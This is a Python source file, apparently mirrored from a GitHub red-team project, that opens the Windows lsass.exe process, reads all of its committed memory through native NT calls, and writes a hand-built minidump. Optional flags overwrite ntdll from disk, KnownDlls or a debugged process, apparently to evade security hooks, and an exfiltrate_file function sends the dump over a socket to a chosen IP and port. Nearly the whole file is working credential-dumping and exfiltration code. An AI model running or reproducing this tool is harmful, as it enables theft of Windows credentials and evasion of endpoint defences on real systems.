mirror of
https://github.com/ricardojoserf/NativeDump
synced 2026-06-06 16:34:38 +00:00
484 lines
17 KiB
Python
484 lines
17 KiB
Python
import os, sys
|
|
import json
|
|
import psutil
|
|
import random
|
|
import string
|
|
import ctypes
|
|
from ctypes import wintypes
|
|
import warnings
|
|
warnings.filterwarnings("ignore", category=DeprecationWarning)
|
|
import argparse
|
|
from overwrite import overwrite_disk, overwrite_knowndlls, overwrite_debugproc
|
|
import socket
|
|
|
|
|
|
# Constants
|
|
PROCESS_ALL_ACCESS = 0x1F0FFF
|
|
MemoryBasicInformation = 0
|
|
ProcessBasicInformation = 0
|
|
PAGE_NOACCESS = 0x01
|
|
MEM_COMMIT = 0x00001000
|
|
|
|
|
|
# Structures
|
|
class OSVERSIONINFOEXW(ctypes.Structure):
|
|
_fields_ = [
|
|
("dwOSVersionInfoSize", wintypes.DWORD),
|
|
("dwMajorVersion", wintypes.DWORD),
|
|
("dwMinorVersion", wintypes.DWORD),
|
|
("dwBuildNumber", wintypes.DWORD),
|
|
("dwPlatformId", wintypes.DWORD),
|
|
("szCSDVersion", wintypes.WCHAR * 128),
|
|
("wServicePackMajor", wintypes.WORD),
|
|
("wServicePackMinor", wintypes.WORD),
|
|
("wSuiteMask", wintypes.WORD),
|
|
("wProductType", wintypes.BYTE),
|
|
("wReserved", wintypes.BYTE),
|
|
]
|
|
|
|
class PROCESS_BASIC_INFORMATION(ctypes.Structure):
|
|
_fields_ = [
|
|
("Reserved1", wintypes.LPVOID),
|
|
("PebBaseAddress", wintypes.LPVOID),
|
|
("Reserved2", wintypes.LPVOID * 2),
|
|
("UniqueProcessId", wintypes.HANDLE),
|
|
("Reserved3", wintypes.LPVOID)
|
|
]
|
|
|
|
class MEMORY_BASIC_INFORMATION(ctypes.Structure):
|
|
_fields_ = [
|
|
('BaseAddress', wintypes.LPVOID),
|
|
('AllocationBase', wintypes.LPVOID),
|
|
('AllocationProtect', wintypes.DWORD),
|
|
('RegionSize', ctypes.c_size_t),
|
|
('State', wintypes.DWORD),
|
|
('Protect', wintypes.DWORD),
|
|
('Type', wintypes.DWORD)
|
|
]
|
|
|
|
class CLIENT_ID(ctypes.Structure):
|
|
_fields_ = [
|
|
("UniqueProcess", wintypes.HANDLE),
|
|
("UniqueThread", wintypes.HANDLE)
|
|
]
|
|
|
|
class OBJECT_ATTRIBUTES(ctypes.Structure):
|
|
_fields_ = [
|
|
("Length", wintypes.ULONG),
|
|
("RootDirectory", wintypes.HANDLE),
|
|
("ObjectName", wintypes.LPVOID),
|
|
("Attributes", wintypes.ULONG),
|
|
("SecurityDescriptor", wintypes.LPVOID),
|
|
("SecurityQualityOfService", wintypes.LPVOID)
|
|
]
|
|
|
|
def initialize_object_attributes():
|
|
return OBJECT_ATTRIBUTES(
|
|
Length=ctypes.sizeof(OBJECT_ATTRIBUTES),
|
|
RootDirectory=None,
|
|
ObjectName=None,
|
|
Attributes=0,
|
|
SecurityDescriptor=None,
|
|
SecurityQualityOfService=None
|
|
)
|
|
|
|
|
|
# NTAPI functions
|
|
ntdll = ctypes.WinDLL("ntdll")
|
|
NtQueryInformationProcess = ntdll.NtQueryInformationProcess
|
|
NtQueryInformationProcess.restype = wintypes.LONG
|
|
NtQueryInformationProcess.argtypes = [wintypes.HANDLE, wintypes.ULONG, wintypes.HANDLE, wintypes.ULONG, wintypes.PULONG]
|
|
NtReadVirtualMemory = ntdll.NtReadVirtualMemory
|
|
NtReadVirtualMemory.restype = wintypes.LONG
|
|
NtReadVirtualMemory.argtypes = [
|
|
wintypes.HANDLE, # ProcessHandle
|
|
wintypes.LPVOID, # BaseAddress
|
|
wintypes.LPVOID, # Buffer
|
|
wintypes.ULONG, # NumberOfBytesToRead
|
|
wintypes.PULONG # NumberOfBytesRead
|
|
]
|
|
NtQueryVirtualMemory = ntdll.NtQueryVirtualMemory
|
|
NtQueryVirtualMemory.restype = wintypes.DWORD
|
|
NtQueryVirtualMemory.argtypes = [
|
|
wintypes.HANDLE, # ProcessHandle
|
|
wintypes.LPVOID, # BaseAddress
|
|
wintypes.DWORD, # MemoryInformationClass
|
|
wintypes.LPVOID, # MemoryInformation
|
|
wintypes.ULONG, # MemoryInformationLength
|
|
wintypes.LPVOID # ReturnLength (optional)
|
|
]
|
|
NtOpenProcess = ntdll.NtOpenProcess
|
|
NtOpenProcess.restype = wintypes.LONG
|
|
NtOpenProcess.argtypes = [
|
|
wintypes.HANDLE, # ProcessHandle
|
|
wintypes.DWORD, # DesiredAccess
|
|
wintypes.LPVOID, # ObjectAttributes
|
|
wintypes.LPVOID # ClientId
|
|
]
|
|
RtlGetVersion = ntdll.RtlGetVersion
|
|
RtlGetVersion.restype = wintypes.LONG
|
|
|
|
|
|
def get_random_string(length):
|
|
characters = string.ascii_letters + string.digits
|
|
random_string = ''.join(random.choices(characters, k=length))
|
|
return random_string
|
|
|
|
|
|
def get_pid(process_name):
|
|
for proc in psutil.process_iter(['pid', 'name']):
|
|
if proc.info['name'] == process_name:
|
|
return proc.info['pid']
|
|
|
|
|
|
def open_process(pid):
|
|
process_handle = wintypes.HANDLE()
|
|
obj_attributes = initialize_object_attributes()
|
|
client_id = CLIENT_ID(
|
|
UniqueProcess=ctypes.c_void_p(pid),
|
|
UniqueThread=None
|
|
)
|
|
|
|
status = NtOpenProcess(
|
|
ctypes.byref(process_handle),
|
|
PROCESS_ALL_ACCESS,
|
|
ctypes.byref(obj_attributes),
|
|
ctypes.byref(client_id)
|
|
)
|
|
|
|
if status != 0 or not process_handle:
|
|
print("[-] Could not open handle to the process. Not running as administrator maybe?")
|
|
sys.exit(0)
|
|
|
|
return process_handle
|
|
|
|
|
|
def read_remoteintptr(process_handle, mem_address):
|
|
buffer = ctypes.create_string_buffer(8)
|
|
bytes_read = wintypes.ULONG(0)
|
|
status = NtReadVirtualMemory(
|
|
process_handle,
|
|
mem_address,
|
|
buffer,
|
|
8,
|
|
ctypes.byref(bytes_read)
|
|
)
|
|
|
|
if status != 0:
|
|
return
|
|
|
|
read_bytes = buffer.raw[:bytes_read.value][::-1]
|
|
read_int = int(str((read_bytes).hex()),16)
|
|
return read_int
|
|
|
|
|
|
def read_remoteWStr(process_handle, mem_address):
|
|
buffer = ctypes.create_string_buffer(256)
|
|
bytes_read = wintypes.ULONG(0)
|
|
status = NtReadVirtualMemory(
|
|
process_handle,
|
|
mem_address,
|
|
buffer,
|
|
256,
|
|
ctypes.byref(bytes_read)
|
|
)
|
|
|
|
if status != 0:
|
|
return ""
|
|
|
|
read_bytes = buffer.raw[:bytes_read.value]
|
|
index = read_bytes.find(b'\x00\x00')
|
|
unicode_str = (read_bytes[:index].decode('unicode-escape'))
|
|
unicode_str_clean = "".join(char for char in unicode_str if char.isprintable())
|
|
return unicode_str_clean
|
|
|
|
|
|
def update_json_array(data, name_to_update, field_to_update, new_value):
|
|
for obj in data:
|
|
if obj.get('BaseName') == name_to_update:
|
|
obj[field_to_update] = new_value
|
|
break
|
|
return data
|
|
|
|
|
|
def get_modules_info(process_handle):
|
|
process_information = PROCESS_BASIC_INFORMATION()
|
|
return_length = wintypes.ULONG()
|
|
status = NtQueryInformationProcess(
|
|
process_handle,
|
|
ProcessBasicInformation,
|
|
ctypes.byref(process_information),
|
|
ctypes.sizeof(process_information),
|
|
ctypes.byref(return_length)
|
|
)
|
|
|
|
if status != 0:
|
|
raise ctypes.WinError(ctypes.get_last_error())
|
|
|
|
print("[+] PEB Base Address: \t" + str(hex(process_information.PebBaseAddress)))
|
|
|
|
ldr_offset = 0x18
|
|
ldr_pointer = process_information.PebBaseAddress + ldr_offset
|
|
ldr_address = read_remoteintptr(process_handle, ldr_pointer)
|
|
|
|
inInitializationOrderModuleList_offset = 0x30
|
|
InInitializationOrderModuleList = ldr_address + inInitializationOrderModuleList_offset
|
|
|
|
next_flink = read_remoteintptr(process_handle, InInitializationOrderModuleList)
|
|
|
|
dll_base = 1337
|
|
flink_dllbase_offset = 0x20
|
|
flink_buffer_fulldllname_offset = 0x40
|
|
flink_buffer_offset = 0x50
|
|
|
|
moduleinfo_arr = []
|
|
|
|
while (dll_base != 0):
|
|
next_flink = next_flink - 0x10
|
|
|
|
dll_base = read_remoteintptr(process_handle, (next_flink + flink_dllbase_offset))
|
|
if dll_base == 0:
|
|
break
|
|
|
|
buffer = read_remoteintptr(process_handle, (next_flink + flink_buffer_offset))
|
|
base_dll_name = read_remoteWStr(process_handle, buffer)
|
|
|
|
buffer = read_remoteintptr(process_handle, (next_flink + flink_buffer_fulldllname_offset))
|
|
full_dll_path = read_remoteWStr(process_handle, buffer)
|
|
|
|
module_info = {
|
|
"BaseName" : base_dll_name,
|
|
"FullDllName" : full_dll_path,
|
|
"BaseAddress" : hex(dll_base),
|
|
"RegionSize" : 0
|
|
}
|
|
moduleinfo_arr.append(module_info)
|
|
next_flink = read_remoteintptr(process_handle, (next_flink + 0x10))
|
|
|
|
return moduleinfo_arr
|
|
|
|
|
|
def create_file(dump_file, output_file):
|
|
with open(output_file, "wb") as binary_file:
|
|
binary_file.write(dump_file)
|
|
|
|
|
|
def exfiltrate_file(dump_file, ip_address, port_address):
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((ip_address,int(port_address)))
|
|
s.sendall(dump_file)
|
|
s.close()
|
|
|
|
|
|
def read_binary_file(file_path):
|
|
with open(file_path, 'rb') as file:
|
|
byte_array = file.read()
|
|
return byte_array
|
|
|
|
|
|
def get_dump_bytearr(os_version, moduleinfo_arr, mem64list_arr, regions_memdump):
|
|
# Calculations
|
|
number_modules = str(len(moduleinfo_arr))
|
|
modulelist_size = 4
|
|
modulelist_size += 108*int(number_modules)
|
|
for module in moduleinfo_arr:
|
|
module_fullpath_len = len(module.get("FullDllName"))
|
|
modulelist_size += (module_fullpath_len*2 + 8)
|
|
|
|
mem64list_offset = modulelist_size + 0x7c
|
|
mem64list_size = 16 + 16*len(mem64list_arr)
|
|
offset_memory_regions = mem64list_offset + mem64list_size
|
|
|
|
print("[+] Total number of modules: \t" + number_modules)
|
|
print("[+] ModuleListStream size: \t" + str(modulelist_size))
|
|
print("[+] Mem64List offset: \t\t" + str(mem64list_offset))
|
|
print("[+] Mem64List size: \t\t" + str(mem64list_size))
|
|
|
|
# Header
|
|
header = b'\x4d\x44\x4d\x50' # Signature
|
|
header += b'\x93\xa7' # Version
|
|
header += b'\x00\x00' # ImplementationVersion
|
|
header += b'\x03\x00\x00\x00' # NumberOfStreams
|
|
header += b'\x20\x00\x00\x00' # StreamDirectoryRva
|
|
header += b'\x00'*(32 - len(header)) # Other fields
|
|
|
|
# Stream Directory
|
|
stream_directory = b'\x04\x00\x00\x00' # Type 4 = ModuleListStream
|
|
stream_directory += modulelist_size.to_bytes(4, 'little') # Size
|
|
stream_directory += b'\x7c\x00\x00\x00' # Address
|
|
|
|
stream_directory += b'\x07\x00\x00\x00' # Type 7 = SystemInfoStream
|
|
stream_directory += b'\x38\x00\x00\x00' # Size = 56 (constant)
|
|
stream_directory += b'\x44\x00\x00\x00' # Address = 0x44 (constant)
|
|
|
|
stream_directory += b'\x09\x00\x00\x00' # Type 9 = Memory64ListStream
|
|
stream_directory += mem64list_size.to_bytes(4, 'little') # # Size
|
|
stream_directory += mem64list_offset.to_bytes(4, 'little') # Address
|
|
|
|
# SystemInfoStream
|
|
processor_architecture = 9
|
|
majorversion = int(os_version.get("MajorVersion"))
|
|
minorversion = int(os_version.get("MinorVersion"))
|
|
build_number = int(os_version.get("BuildNumber"))
|
|
systeminfo_stream = processor_architecture.to_bytes(2, 'little') # Processor architecture
|
|
systeminfo_stream += b'\x00'*6
|
|
systeminfo_stream += majorversion.to_bytes(4, 'little') # Major version
|
|
systeminfo_stream += minorversion.to_bytes(4, 'little') # Minor version
|
|
systeminfo_stream += build_number.to_bytes(4, 'little') # Build number
|
|
systeminfo_stream += b'\x00'*(56-len(systeminfo_stream))
|
|
|
|
# ModuleListStream
|
|
modulelist_stream = int(number_modules).to_bytes(4, 'little') # NumberOfModules
|
|
pointer_index = 0x7c
|
|
pointer_index += len(modulelist_stream) # 4
|
|
pointer_index += 108*int(number_modules)
|
|
|
|
for module in moduleinfo_arr:
|
|
modulelist_stream += int(module.get("BaseAddress"),16).to_bytes(8, 'little') # Module Address
|
|
modulelist_stream += int(module.get("RegionSize")).to_bytes(8, 'little') # Module Size
|
|
modulelist_stream += b'\x00'*4
|
|
modulelist_stream += pointer_index.to_bytes(8, 'little') # Pointer to unicode string
|
|
full_path = module.get("FullDllName")
|
|
pointer_index += len(full_path)*2 + 8
|
|
modulelist_stream += b'\x00'*(108-(8+8+4+8))
|
|
|
|
for module in moduleinfo_arr:
|
|
full_path = module.get("FullDllName")
|
|
unicode_bytearr = bytearray(full_path.encode('utf-16-le'))
|
|
modulelist_stream += (len(full_path)*2).to_bytes(4, 'little') # Unicode length
|
|
modulelist_stream += unicode_bytearr # Unicode string
|
|
modulelist_stream += 4*b'\x00' # Empty character + padding
|
|
|
|
# Memory64List
|
|
memory64list_stream = len(mem64list_arr).to_bytes(8, 'little') # NumberOfEntries
|
|
memory64list_stream += offset_memory_regions.to_bytes(8, 'little') # MemoryRegionsBaseAddress
|
|
for mem64 in mem64list_arr:
|
|
memory64list_stream += int(mem64.get("BaseAddress"),16).to_bytes(8, 'little') # Mem64 Address
|
|
memory64list_stream += int(mem64.get("RegionSize")).to_bytes(8, 'little') # Mem64 Size
|
|
|
|
dump_file = header + stream_directory + systeminfo_stream + modulelist_stream + memory64list_stream + regions_memdump
|
|
return dump_file
|
|
|
|
|
|
def get_os_version():
|
|
os_version_info = OSVERSIONINFOEXW()
|
|
os_version_info.dwOSVersionInfoSize = ctypes.sizeof(OSVERSIONINFOEXW)
|
|
status = RtlGetVersion(ctypes.byref(os_version_info))
|
|
lock_info = None
|
|
if status == 0:
|
|
lock_info = [{
|
|
"MajorVersion": str(os_version_info.dwMajorVersion),
|
|
"MinorVersion": str(os_version_info.dwMinorVersion),
|
|
"BuildNumber": str(os_version_info.dwBuildNumber)
|
|
}]
|
|
else:
|
|
print("[-] Failed to get version information")
|
|
return lock_info
|
|
|
|
|
|
def get_args():
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('-o', '--option', required=False, default="", action='store', help='Option for library overwrite: \"disk\", \"knowndlls\" or \"debugproc\"')
|
|
parser.add_argument('-k', '--path' , required=False, default="", action='store', help='Path to ntdll file in disk (for \"disk\" option) or program to open in debug mode (\"debugproc\" option)')
|
|
parser.add_argument('-i', '--ip' , required=False, default="", action='store', help='IP Address for exfiltration')
|
|
parser.add_argument('-p', '--port' , required=False, default="", action='store', help='Port for exfiltration')
|
|
my_args = parser.parse_args()
|
|
return my_args
|
|
|
|
|
|
def main():
|
|
args = get_args()
|
|
option = args.option
|
|
if option == "disk":
|
|
path = "C:\\Windows\\System32\\ntdll.dll"
|
|
if args.path != "":
|
|
path = args.path
|
|
overwrite_disk(path)
|
|
elif option == "knowndlls":
|
|
overwrite_knowndlls()
|
|
elif option == "debugproc":
|
|
path = "c:\\windows\\system32\\calc.exe"
|
|
if args.path != "":
|
|
path = args.path
|
|
overwrite_debugproc(path)
|
|
else:
|
|
pass
|
|
|
|
pid_ = get_pid("lsass.exe")
|
|
if pid_:
|
|
print("[+] PID: \t\t" + str(pid_))
|
|
else:
|
|
print("[-] PID not found")
|
|
process_handle = open_process(pid_)
|
|
print("[+] Process handle: \t" + str(process_handle.value))
|
|
|
|
# Get ModuleList information
|
|
moduleinfo_arr = get_modules_info(process_handle)
|
|
|
|
# Loop memory regions
|
|
mem_address = 0
|
|
proc_max_address_l = 0x7FFFFFFEFFFF
|
|
aux_size = 0
|
|
aux_name = ""
|
|
mem64list_arr = []
|
|
regions_memdump = b''
|
|
|
|
while (mem_address < proc_max_address_l):
|
|
memory_info = MEMORY_BASIC_INFORMATION()
|
|
memory_info_size = ctypes.sizeof(memory_info)
|
|
return_length = ctypes.c_size_t()
|
|
|
|
status = NtQueryVirtualMemory(
|
|
process_handle,
|
|
mem_address,
|
|
MemoryBasicInformation,
|
|
ctypes.byref(memory_info),
|
|
memory_info_size,
|
|
ctypes.byref(return_length)
|
|
)
|
|
|
|
# Page is accessible and committed
|
|
if memory_info.Protect != PAGE_NOACCESS and memory_info.State == MEM_COMMIT:
|
|
# Update Module Size for ModuleList stream
|
|
matching_object = next((obj for obj in moduleinfo_arr if obj.get('BaseName') == aux_name), {"BaseName" : "0", "FullDllName" : "0", "BaseAddress" : "0", "RegionSize" : "0"})
|
|
if memory_info.RegionSize == 0x1000 and memory_info.BaseAddress != matching_object.get("BaseAddress"):
|
|
update_json_array(moduleinfo_arr, aux_name, "RegionSize", aux_size)
|
|
matching_object = next((obj for obj in moduleinfo_arr if obj.get('BaseName') == aux_name), {"BaseName" : "0", "FullDllName" : "0", "BaseAddress" : "0", "RegionSize" : "0"})
|
|
|
|
for i in moduleinfo_arr:
|
|
if int(memory_info.BaseAddress) == int(i.get("BaseAddress"),16):
|
|
aux_name = i.get("BaseName")
|
|
aux_size = memory_info.RegionSize
|
|
else:
|
|
aux_size += memory_info.RegionSize
|
|
|
|
# Dump memory region
|
|
buffer = ctypes.create_string_buffer(memory_info.RegionSize)
|
|
bytes_read = wintypes.ULONG(0)
|
|
status = NtReadVirtualMemory(
|
|
process_handle,
|
|
memory_info.BaseAddress,
|
|
buffer,
|
|
memory_info.RegionSize,
|
|
ctypes.byref(bytes_read)
|
|
)
|
|
|
|
if status == 0:
|
|
regions_memdump += buffer.raw
|
|
mem64list_arr.append({"BaseAddress": hex(mem_address), "RegionSize": memory_info.RegionSize})
|
|
|
|
mem_address += memory_info.RegionSize
|
|
|
|
os_version = get_os_version()[0]
|
|
dump_file_bytes = get_dump_bytearr(os_version, moduleinfo_arr, mem64list_arr, regions_memdump)
|
|
dump_file_name = "proc_" + str(pid_) + ".dmp"
|
|
if args.ip == "" or args.port == "":
|
|
create_file(dump_file_bytes, dump_file_name)
|
|
print("[+] File " + dump_file_name + " created.")
|
|
else:
|
|
exfiltrate_file(dump_file_bytes, args.ip, args.port)
|
|
print("[+] File exfiltrated.")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |